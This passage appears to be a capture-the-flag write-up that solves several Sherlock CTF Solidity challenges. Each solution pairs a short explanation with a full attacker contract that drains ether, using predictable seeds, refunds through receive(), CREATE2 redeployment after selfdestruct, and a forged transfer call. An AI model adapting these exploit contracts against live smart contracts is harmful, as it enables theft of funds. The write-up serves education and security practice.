5contract smbspAttacker {
6
7 constructor(CollectReward instance) payable {
8 require(msg.value == 1 ether);
9 instance.collect{value: 1 ether}(1645230775);
10 }
11
12 receive() external payable {
13 }
14}
t-nero - Monopoly
This Monopoly implementation, much like the original game, makes the player throw two dice, and depending on the value obtained, different results can be achieved. The most important difference between the board game and this blockchain implementation, is that the dice here have 65536 sides. In real life, we would call that a sphere. And also, the values from the dice are inputs to the game.
The goal was to empty the instance, so the attacker has to find the correct path of execution, depending on the dice values, that allows the withdrawal. I chose to go for the so-called penalty slot, and return the msg.value/2
sent, so that the endTurn(balance)
call in play(uint32, uint32)
wouldn't revert.
1pragma solidity 0.8.7;
2
3import "./Setup.sol";
4
5contract tneroAttacker {
6
7 Monopoly instance;
8
9 function getSeeds() public view returns (uint16 s1, uint16 s2) {
10 s1 = uint16(151) ^ uint16(bytes2(bytes20(address(tx.origin))));
11 s2 = uint16(331) ^ uint16(bytes2(bytes20(address(tx.origin))));
12 }
13
14 function attack(Monopoly inst) public payable {
15 require(msg.value >= 0.25 ether);
16 instance = inst;
17 (uint16 s1, uint16 s2) = getSeeds();
18 instance.play{value: msg.value}(s1, s2);
19 }
20
21 receive() external payable {
22 if(msg.value < 1 ether) {
23 payable(address(instance)).call{value: msg.value}("");
24 }
25 }
26}
teryanarmen - Challenge2
One of the challenges that fried my brain the most. Also, on the educational side, I learned stuff about CREATE2
that I didn't know.
The goal was to call fourth()
to empty the contract. That was easier to say than to do. third()
required not to be called from a contract (or to be called from a contract constructor) to set winner
as the caller, then second()
required to be called from a contract. If the caller's sup()
method returned 1337, the attacker can call first()
. This function requires to be called from an EOA or from a contract's constructor. Also, to make it more interesting, msg.sender
has to be the winner
set in third()
.
This made me think for a few days until it clicked. CREATE2
deployment address depends only on the code to be deployed, the caller address, and a seed value. That means you can deploy a contract, destroy it, and redeploy it back to the same address. Understanding that was a major milestone. Then the solution came easy.
1pragma solidity 0.7.6;
2
3import "./Setup.sol";
4import "hardhat/console.sol";
5
6contract solver is ICalled{
7
8 Challenge2 instance;
9
10 constructor(address inst) payable {
11 instance = Challenge2(inst);
12 if(instance.state() == Challenge2.State.THREE) {
13 instance.third();
14 } else {
15 instance.first();
16 }
17 }
18
19 function sup() external override returns(uint256) {
20 if(instance.state() == Challenge2.State.ZERO) {
21 return 80085;
22 } else {
23 return 1337;
24 }
25 }
26
27 function callSecond() public {
28 instance.second();
29 selfdestruct(payable(address(0)));
30 }
31
32 function callFourth() public {
33 instance.fourth();
34 }
35
36 receive() external payable { }
37
38}
39
40contract teryanarmenAttacker {
41
42 Challenge2 public instance;
43 address public deployed;
44
45 constructor(Challenge2 inst) payable {
46 instance = inst;
47 deploy();
48 solver(payable(deployed)).callSecond();
49 }
50
51 function solve() public {
52 deploy();
53 solver(payable(deployed)).callFourth();
54 }
55
56 function deploy() internal {
57
58 bytes memory code = abi.encodePacked(type(solver).creationCode, abi.encode(address(instance)));
59 uint256 salt = 0x7075;
60 address addr;
61
62 assembly {
63 addr := create2(0, add(code, 0x20), mload(code), salt)
64 if iszero(extcodesize(addr)) { revert(0, 0) }
65 }
66
67 deployed = addr;
68 }
69
70 receive() external payable { }
71
72}
ych18 - FunnyChallenges
The goal was, again, to empty the ether from the instance. For that, the attacker has to solve two challenges. The first one requires that the arguments to DontGiveUp(string,string)
meet some conditions and ultimately their concatenation equals "Sherlock CTF " (note that space at the end).
Once the first part was solved, the next part required to call the transfer(address,uint)
function from the instance's address. The helper func(address,uint256,bytes4)
function came in handy.
1pragma solidity 0.8.4;
2
3import "./FunnyChallenges.sol";
4
5contract ych18Attacker {
6
7 FunnyChallenges instance;
8
9 constructor(FunnyChallenges inst) payable {
10 instance = inst;
11 instance.DontGiveUp("SherlockCTF", " ");
12 }
13
14 function attack() public payable {
15 require(msg.value == 2 ether);
16 instance.func{value: msg.value}(address(instance), 0, hex"a9059cbb");
17 }
18
19 receive() external payable { }
20}